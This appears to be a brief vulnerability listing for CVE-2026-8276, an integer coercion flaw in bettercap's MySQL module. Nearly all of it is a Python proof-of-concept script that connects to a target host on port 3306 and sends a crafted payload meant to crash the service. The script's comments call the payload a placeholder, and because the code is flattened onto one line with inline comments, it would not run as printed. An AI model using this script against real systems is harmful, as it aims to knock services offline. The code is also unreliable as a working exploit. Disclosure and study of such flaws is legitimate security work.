CVE-2026-8276 bettercap MySQL组件整数强制错误漏洞

import socket # Conceptual PoC for CVE-2026-8276 # Target: bettercap <= 2.41.5 MySQL Module def send_exploit(target_ip, target_port): try: # Connect to the bettercap MySQL server module s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a payload designed to trigger integer coercion. # The specific byte sequence would be derived from reversing the patch 0eaa375c. # This is a placeholder for the malicious structure. payload = b'\x00\x00\x00\x01' + b'A' * 100 print(f"[*] Sending payload to {target_ip}:{target_port}") s.send(payload) # Wait for response or timeout indicating a crash s.settimeout(2) response = s.recv(1024) print("[+] Response received, exploit might have failed.") except socket.timeout: print("[+] No response received. Service might be crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit("192.168.1.100", 3306)